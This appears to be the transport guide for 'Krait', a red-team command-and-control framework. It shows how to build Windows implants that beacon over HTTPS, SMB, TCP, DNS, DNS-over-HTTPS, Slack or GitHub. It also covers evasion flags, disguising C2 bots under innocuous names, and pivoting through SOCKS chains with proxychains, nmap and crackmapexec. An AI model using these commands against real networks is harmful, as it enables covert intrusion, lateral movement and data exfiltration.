← Documentation / Infrastructure

Transport Guide

HTTPS, SMB, TCP, DNS, DOH, Slack, and GitHub transport protocols

Krait supports seven transport protocols: five direct transports (HTTPS, SMB, TCP, DNS, DOH) and two external C2 channels (Slack, GitHub). Each has different OPSEC characteristics, network requirements, and use cases.

Decision Tree

Need to reach the C2 server directly?
├── Yes → Internet-facing target?
│   ├── Yes → HTTPS (with redirector + traffic profile)
│   └── No → HTTPS (direct, lab/internal)
├── No, but can reach another Krait agent?
│   ├── Yes → Is SMB (445) open between hosts?
│   │   ├── Yes → SMB named pipe
│   │   └── No → TCP reverse connect
│   └── No → Only DNS egress allowed?
│       ├── Yes → Raw UDP/53 available?
│       │   ├── Yes → DNS (TXT records)
│       │   └── No → DOH (DNS-over-HTTPS)
│       └── No → Can reach SaaS APIs (Slack/GitHub)?
│           ├── Slack workspace available → Slack
│           ├── GitHub accessible → GitHub
│           └── No → Reassess network topology
└── Need C2 traffic to blend with corporate SaaS?
    ├── Slack installed on target → Slack
    └── GitHub accessible on target → GitHub

HTTPS

The default and most capable transport. Uses raw sockets with Schannel TLS — no WinHTTP dependency.

Build (CLI):

krait> build windows -s <IP> -p 8443

Build (Web UI): Navigate to Build → select Windows → set server and port → build.

OPSEC characteristics:

  • TLS encrypted — content is opaque to network inspection without TLS termination
  • Blends with normal web traffic, especially with --profile traffic mimicry
  • No WinHTTP imports (uses Schannel directly) — avoids winhttp.dll import detection
  • All TLS buffers are caller-controlled — fully zeroable during Ekko sleep
  • Supports redirectors (nginx, CloudFront CDN, Azure Front Door) for IP concealment and geo-filtering

When to use:

  • Default choice for any engagement
  • External targets with internet egress
  • Any scenario where HTTP/HTTPS egress is allowed

When NOT to use:

  • Hosts behind strict egress filtering that blocks all HTTPS except to known domains (consider domain fronting or DNS transport)

Recommended flags:

krait> build windows -s <IP> -p 8443 \
    --hwbp-bypass --stack-spoof --stack-encrypt --profile slack

SMB (Named Pipe)

Parent-child pivoting over SMB named pipes. The child agent communicates exclusively through the parent — no direct internet access required.

Build (CLI):

krait> build windows -s <IP> -p 8443 \
    --transport smb --pipe-name krait_pipe

Build (Web UI): Navigate to Build → select Windows → set transport to SMB → set pipe name → build.

OPSEC characteristics:

  • No new outbound connections from the child host
  • Traffic rides existing SMB sessions (port 445)
  • Named pipe name is configurable — avoid obvious names
  • The parent agent relays all tasks and results

When to use:

  • Internal lateral movement where the child host can’t reach the C2 directly
  • Segmented networks where only specific hosts have egress
  • Reducing the number of hosts making external connections

When NOT to use:

  • Cross-subnet pivoting where SMB (445) is firewalled
  • If the named pipe name would stand out under pipe enumeration

Linking:

# On the parent agent
krait [parent]> link <child_host> krait_pipe

TCP

TCP reverse connect transport. The child connects back to a listening parent on a specified port.

Build (CLI):

krait> build windows -s <IP> -p 8443 \
    --transport tcp --tcp-host <PARENT_IP> --tcp-port 4444

Build (Web UI): Navigate to Build → select Windows → set transport to TCP → set TCP host and port → build.

OPSEC characteristics:

  • Raw TCP — no application-layer protocol overhead
  • Custom port — choose something that blends (443, 8080, etc.)
  • Unencrypted at the transport layer (task payloads are already encrypted)

When to use:

  • Internal pivoting when SMB (445) is blocked between subnets
  • When you need a simpler protocol than SMB
  • Linux-to-Windows pivoting scenarios (future cross-platform)

When NOT to use:

  • External connections (no TLS, raw TCP is conspicuous)
  • Networks with deep packet inspection on non-standard ports

Linking:

# On the parent agent
krait [parent]> tcp-link 4444

DNS

DNS TXT record-based C2 transport. Commands and results are encoded in DNS queries and responses.

Build (CLI):

krait> build windows -s <IP> -p 8443 \
    --transport dns --dns-domain c2.example.com --dns-server <IP>

Build (Web UI): Navigate to Build → select Windows → set transport to DNS → set domain and DNS server → build.

OPSEC characteristics:

  • DNS traffic is rarely blocked — works even in highly restricted networks
  • Slow: limited by DNS response size (~255 bytes per TXT record) and query rate
  • High volume of DNS queries may trigger anomaly detection
  • Requires a domain with NS records pointing to your DNS listener

When to use:

  • Last resort when all other egress is blocked
  • Highly restricted environments (air-gapped networks with DNS forwarding)
  • Long-dwell, low-and-slow operations where bandwidth isn’t critical

When NOT to use:

  • Any scenario where HTTPS is available (DNS is significantly slower)
  • High-bandwidth operations (file transfer, streaming output)
  • Networks with DNS anomaly detection (e.g., high query volume alerting)

Server setup:

# Start server with DNS listener
./server/krait-server server start --port 8443 \
    --dns-domain c2.example.com --dns-port 53

# Generate redirector config (CLI)
krait> redirector dns --domain c2.example.com --backend <C2_IP> --output redirector/

Required DNS infrastructure:

  1. Register a domain (e.g., example.com)
  2. Create an NS record pointing a subdomain to your server: c2.example.com NS ns1.example.com
  3. Create an A record for the NS server: ns1.example.com A <YOUR_IP>

DNS-over-HTTPS (DOH)

DNS-over-HTTPS transport (RFC 8484). C2 commands and results travel as DNS wire-format queries over HTTPS to a DNS resolver — either a public resolver (Cloudflare, Google) or an operator-controlled one. Reuses the same Schannel TLS and raw HTTP infrastructure as the HTTPS transport.

Build (CLI):

krait> build windows -s <IP> -p 8443 \
    --transport doh --dns-domain c2.example.com \
    --doh-resolver https://1.1.1.1/dns-query

Build (Web UI): Navigate to Build → select Windows → set transport to DOH → set domain and resolver URL → build.

OPSEC characteristics:

  • Traffic appears as standard HTTPS to a DNS resolver — no raw UDP/53 traffic
  • Harder to block than raw DNS — blocking DOH means blocking HTTPS to major resolvers (Cloudflare, Google)
  • TLS certificate validation via Schannel (legitimate resolver certificates)
  • Same encoding as DNS transport (base32 subdomains upstream, TXT records downstream)
  • Payload size constraints match DNS transport (~4KB chunks)
  • Custom resolver (--doh-resolver) gives full C2 control; public resolver mode requires authoritative DNS for the C2 domain

When to use:

  • Environments where raw DNS (UDP/53) is monitored or blocked but HTTPS egress is permitted
  • Networks with DNS anomaly detection that would flag high-volume raw DNS queries
  • When you want DNS-based C2 without the visibility of raw DNS traffic

When NOT to use:

  • If HTTPS transport is available (HTTPS is faster and has fewer size constraints)
  • Networks that perform TLS inspection on all outbound HTTPS (resolver certificate will mismatch)
  • If the target environment blocks HTTPS to public DNS resolvers

Required infrastructure:

  1. Same as DNS transport: domain with NS records pointing to your DNS server
  2. Krait DNS listener running on the C2 server (--dns-domain and --dns-port on server start)
  3. If using a custom resolver: the resolver must forward queries for your domain to the Krait DNS listener

Slack (External C2)

External C2 channel that routes all traffic through Slack’s Web API. The agent and server communicate via messages in a shared Slack channel — the agent never connects to the C2 server directly. All traffic appears as normal Slack API calls to slack.com:443.

Build (CLI):

krait> build windows -s <IP> -p 8443 \
    --transport slack \
    --slack-token xoxb-... \
    --slack-channel C0123456789 \
    --slack-psk <32-hex-chars>

The --server and --port flags are still required (they’re part of the template) but the agent never contacts that address — all communication goes through Slack.

Server setup:

./server/krait-server server start --port 8443 \
    --slack-token xoxb-... \
    --slack-channel C0123456789 \
    --slack-psk <same-32-hex-chars>

The server starts a background poller thread that checks the Slack channel every 15 seconds for agent messages and posts task files back.

OPSEC characteristics:

  • All traffic goes to slack.com:443 — blends with legitimate Slack usage in corporate environments
  • TLS encrypted end-to-end (Schannel to Slack API, same as HTTPS transport)
  • No direct connection to the C2 server — the agent and server are fully decoupled
  • PSK authentication prevents unauthorized agents from registering (djb2 hash of agent ID seeded with PSK)
  • Message-based protocol with chunking for payloads > 2.8KB base64 (reassembled automatically)
  • 75KB payload size limit — covers all standard BOFs; use HTTPS for execute-assembly and large payloads

When to use:

  • Corporate environments where Slack is standard tooling and its traffic won’t stand out
  • Targets where direct C2 connections are blocked but Slack API access is permitted
  • Engagements where you need to decouple the agent from the C2 server’s IP entirely
  • Red team scenarios testing detection of C2-over-SaaS

When NOT to use:

  • Environments without Slack (the traffic to slack.com would be anomalous)
  • High-bandwidth operations (75KB limit, 15-second poll interval)
  • Targets with DLP or CASB that inspect Slack API traffic for anomalous message patterns
  • If HTTPS with a good redirector is available (faster, fewer dependencies)

Required infrastructure:

  1. A Slack workspace you control (free tier works)
  2. A Slack App with Bot Token Scopes: chat:write, channels:history, channels:read
  3. Install the app to the workspace and invite the bot to the channel
  4. Copy the Bot User OAuth Token (xoxb-...) and the channel ID (C...)
  5. Generate a shared PSK: openssl rand -hex 16

Slack App setup (one-time):

  1. Go to api.slack.com/apps → Create New App → From scratch
  2. Name it anything innocuous (e.g., “Monitoring Bot”, “Deploy Notifier”)
  3. Under OAuth & Permissions, add Bot Token Scopes: chat:write, channels:history, channels:read
  4. Install to Workspace → copy the xoxb-... token
  5. Create a private channel → right-click → View channel details → copy the Channel ID at the bottom
  6. Invite the bot: /invite @YourBotName in the channel

GitHub (External C2)

External C2 channel that routes all traffic through GitHub’s Contents API. The agent and server exchange files in a private GitHub repository — tasks, results, and registration payloads are stored as files under an agents/ directory. The agent never connects to the C2 server directly.

Build (CLI):

krait> build windows -s <IP> -p 8443 \
    --transport github \
    --github-token ghp_... \
    --github-repo owner/repo \
    --github-branch main \
    --github-psk <32-hex-chars>

As with Slack, --server and --port are template requirements but the agent never contacts that address.

Server setup:

./server/krait-server server start --port 8443 \
    --github-token ghp_... \
    --github-repo owner/repo \
    --github-branch main \
    --github-psk <same-32-hex-chars>

The server starts a background poller thread that checks the GitHub repo every 15 seconds for agent registration and result files, and writes task files for pending commands.

OPSEC characteristics:

  • All traffic goes to api.github.com:443 — blends with developer tooling traffic
  • TLS encrypted end-to-end (Schannel to GitHub API)
  • No direct connection to the C2 server — fully decoupled like Slack transport
  • PSK authentication (djb2 seeded hash, same scheme as Slack)
  • File-based protocol — one file per message under agents/<agentId>/
  • 75KB payload size limit — same as Slack transport
  • GitHub PAT never appears in server logs or operator console output

When to use:

  • Developer-heavy environments where GitHub API traffic is expected and normal
  • Targets where Slack isn’t present but GitHub access is permitted
  • Engagements where you need the agent and server to communicate asynchronously through a third-party store
  • Red team scenarios testing detection of C2-over-cloud-storage

When NOT to use:

  • Environments without GitHub access
  • High-bandwidth operations (75KB limit, 15-second poll interval, 5000 API requests/hour rate limit)
  • Long-running engagements with many agents (rate limit is shared across all agents + server polling)
  • If HTTPS with a good redirector is available (faster, no API rate limits)

Required infrastructure:

  1. A GitHub account with a Personal Access Token (PAT)
  2. A private repository (create one with no README — keep it empty)
  3. PAT with repo scope (full control of private repositories)
  4. Generate a shared PSK: openssl rand -hex 16

GitHub setup (one-time):

  1. Create a new private repository on GitHub (e.g., youruser/data)
  2. Leave it empty — no README, no .gitignore, no license
  3. Generate a Fine-Grained PAT at github.com/settings/tokens:
    • Repository access: Only select repositories → select your C2 repo
    • Permissions: Contents → Read and write
  4. Copy the token (github_pat_... or ghp_...)
  5. Generate a shared PSK: openssl rand -hex 16

File protocol:

The agent and server communicate through files in the repo:

agents/
  <agentId>/
    reg                    Agent registration (created by agent, deleted by server)
    tasks/
      <taskId>             Task payload (created by server, deleted by agent)
    results/
      <taskId>             Result payload (created by agent, deleted by server)

Each file’s content is AUTH:<djb2_hash>\n<base64_payload> (for agent-created files) or plain base64 (for server-created task files). Files are deleted after consumption — the repo stays clean during normal operation.

Rate limit awareness:

GitHub PATs allow 5,000 API requests per hour. With the default 15-second poll interval, the server uses ~240 requests/hour for basic polling (listing directories + reading files). Each agent adds ~240 requests/hour for its own polling. With task and result file operations, a single agent engagement typically uses 600-1000 requests/hour — well within limits. Monitor with:

curl -s -H "Authorization: token ghp_..." \
    https://api.github.com/rate_limit | jq .rate

Peer Reconnection

SMB and TCP child agents support peer reconnection (--peer-reconnect build flag). If the parent agent dies, the child automatically falls back to direct HTTPS beaconing after a configurable timeout (default: 5 minutes).

krait> build windows -s <IP> -p 8443 \
    --transport smb --pipe-name krait_pipe --peer-reconnect

This ensures you don’t lose access to child agents if a parent is killed or migrated.

Chained Proxy (Multi-Hop SOCKS)

When a TCP child agent is relayed through a parent, you can chain SOCKS proxies to reach network segments only accessible from the child. Traffic routes through the full chain transparently:

Operator → Parent (HTTPS) → Child (TCP relay) → Target network

Setup

  1. Build a parent agent with HTTPS transport and deploy to a host with network access to the child:
krait> build windows -s kali.red -p 8443
  1. Build a child agent with TCP transport targeting the parent:
krait> build windows -s kali.red -p 8443 \
    --transport tcp-link --tcp-host <PARENT_IP> --tcp-port 4444
  1. Deploy both agents. The child connects back to the parent on port 4444, and the parent relays all child traffic to the C2 server.

  2. Start SOCKS on the child agent. In the Web UI, select the child session and click Start on Active Agent in the proxy panel. The UI auto-detects the chain and displays the route (e.g., 48474dee(SQLSRV01) via 9d0093f1).

    Or via the operator console:

krait> use <child-agent-id>
krait> socks start
  1. Route tools through the chain using proxychains on the operator machine:
proxychains nmap -sT -Pn <TARGET_IP>
proxychains crackmapexec smb <TARGET_CIDR>

How It Works

The SOCKS proxy binds on the operator side. When traffic arrives, the server forwards it to the child agent via the parent’s TCP relay. The child opens the final connection to the target. Each hop uses existing transport encryption (TLS for HTTPS, task-level for TCP).

Multiple SOCKS proxies can run concurrently — one per agent or chain — each on a different local port.

Example: Pivoting Through a DMZ

Kali (operator)
  └─ HTTPS → Win11 (parent, DMZ)
       └─ TCP relay → SQLSRV01 (child, internal)
            └─ SOCKS → DC01 (target, 10.69.4.242)

Start SOCKS on the SQLSRV01 session. proxychains from Kali reaches DC01 through both hops without direct network access.

Transport Comparison

HTTPSSMBTCPDNSDOHSlackGitHub
SpeedFastFast (via parent)FastSlowSlowMedium (15s poll)Medium (15s poll)
EncryptionTLS 1.2 (Schannel)SMB encryptionNone (task-level)None (task-level)TLS 1.2 (Schannel)TLS to slack.comTLS to api.github.com
Egress requiredHTTPS (443/8443)None (via parent)Custom portDNS (53)HTTPS (443)HTTPS to slack.comHTTPS to api.github.com
Direct C2 connectionYesVia parentVia parentYesYesNoNo
Max payloadUnlimitedUnlimitedUnlimited~4KB chunks~4KB chunks75KB75KB
Redirector supportYes (nginx, CloudFront, Azure Front Door)NoNoYes (CoreDNS)NoN/AN/A
Traffic profilesYesNoNoNoNoN/AN/A
Peer reconnectN/A (primary)YesYesNoNoNoNo
Rate limitsNoneNoneNoneNoneNoneSlack API tier5000 req/hr (PAT)
Best forPrimary agentInternal pivotInternal pivotRestricted egressDNS-blocked egressSlack-heavy corpDeveloper corp